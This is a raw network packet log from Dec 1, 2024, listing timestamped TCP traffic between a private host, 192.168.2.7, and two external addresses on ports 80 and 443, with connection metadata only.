Dec 1, 2024 03:32:56.229670048 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.229710102 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.230586052 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.230715036 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.231476068 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.231575012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.231693983 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.231739044 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.232598066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.232685089 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.232749939 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.233625889 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.233736992 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.233783007 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.234620094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.234736919 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.234792948 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.235636950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.235744953 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.235799074 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.236633062 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.236747026 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.236900091 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.237653017 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.237773895 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.237869024 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.238658905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.238794088 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.238854885 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.239674091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.239794016 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.239835024 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.240360022 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.240695000 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.240802050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.241681099 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.241725922 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.241802931 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.242691040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.242743969 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.242775917 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.242829084 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.243736982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.243854046 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.243904114 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.244724989 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.244846106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.244889021 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.245742083 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.245848894 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.245887041 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.246753931 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.246923923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.247031927 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.247733116 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.247864008 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.247971058 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.248749971 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.248858929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.248934031 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.249767065 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.249898911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.249972105 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.250782967 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.250901937 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.250950098 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.251787901 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.251905918 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.251960993 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.252811909 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.252902985 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.252955914 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.253218889 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.253829956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.253952026 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.254812956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.254872084 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.254908085 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.254965067 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.255851984 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.255922079 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.256376028 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.256894112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.256973982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.257021904 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.257864952 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.258057117 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.258114100 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.258856058 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.298002958 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.407195091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.407268047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.407318115 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.407655001 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.407841921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.407892942 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.408687115 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.408790112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.409687042 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.409782887 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.409801960 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.409859896 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.410703897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.410815954 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.411328077 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.411694050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.411808014 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.411849022 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.412734985 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.412874937 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.412960052 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.413733006 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.413846970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.413963079 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.414722919 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.414834976 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.415028095 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.415776968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.415860891 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.415952921 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.416783094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.416878939 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.416922092 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.417788982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.417896986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.417943954 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.418771029 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.418874025 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.418946981 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.419766903 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.419893980 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.419953108 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.420797110 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.420906067 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.420953035 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.421818018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.421905994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.422823906 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.422894955 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.422930002 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.422967911 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.423841000 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.423935890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.423984051 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.424859047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.424964905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.425030947 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.425854921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.425988913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.426070929 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.426879883 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.426976919 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.427021027 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.427885056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.427999973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.428039074 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.428966999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.429168940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.429207087 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.429898977 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.429972887 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.430104971 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.430915117 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.431024075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.431096077 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.431905985 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.432024956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.432075977 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.432912111 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.433054924 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.433096886 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.433332920 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.433965921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.434210062 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.434941053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.434978008 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.435066938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.435128927 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.435945034 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.436079979 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.436131954 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.436988115 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.437091112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.437134981 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.437983036 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.438101053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.438138962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.438986063 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.439068079 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.439121962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.439990044 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.440109968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.440151930 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.441003084 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.441092968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.441129923 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.442023993 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.442127943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.442178965 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.443006039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.443115950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.443214893 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.444036007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.444148064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.444288015 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.445025921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.445139885 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.445197105 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.446094036 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.446202040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.446242094 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.447047949 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.447161913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.447258949 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.448057890 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.448081970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.448187113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.449094057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.449132919 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.449201107 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.449948072 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.450087070 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.450206041 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.451095104 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.451143026 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.451217890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.451710939 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.452115059 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.452235937 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.452320099 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.453260899 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.453403950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.453457117 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.454143047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.454255104 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.454313993 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.455437899 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.455538034 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.455624104 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.456176996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.456363916 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.456415892 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.457159042 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.457340002 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.457389116 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.458162069 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.458488941 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.458542109 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.459197998 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.459424973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.459479094 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.460169077 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.500612020 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.502252102 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.502326965 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.502423048 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.502599955 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.502620935 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.502640963 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.502648115 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.503009081 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.508642912 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.508673906 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.508768082 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.509010077 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.509020090 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.551637888 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.551691055 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.551810980 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.551939964 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.551939964 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.551959038 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.551970005 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.554306030 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.554346085 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.554404974 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.554533958 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.554548025 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.574968100 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.575041056 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.575103045 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.575212955 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.575228930 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.575241089 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.575246096 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.577127934 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.577148914 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.577229023 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.577322006 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.577341080 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.608500957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.608556032 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.608666897 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.608964920 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.609157085 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.609210968 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.609962940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.610079050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.610310078 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.610971928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.611089945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.611196041 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.611987114 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.612106085 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.612185955 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.612999916 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.613128901 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.613183975 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.614022017 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.614159107 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.614231110 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.615003109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.615140915 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.615200996 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.616043091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.616185904 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.616292000 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.617055893 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.617149115 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.617221117 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.618056059 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.618151903 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.618705988 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.619057894 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.619174957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.619256020 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.620088100 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.620192051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.620804071 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.621083021 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.621174097 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.621378899 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.622081995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.622196913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.622621059 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.623096943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.623184919 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.623224974 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.624108076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.624228954 CET	80	49783	185.215.113.16	192.168.2.7
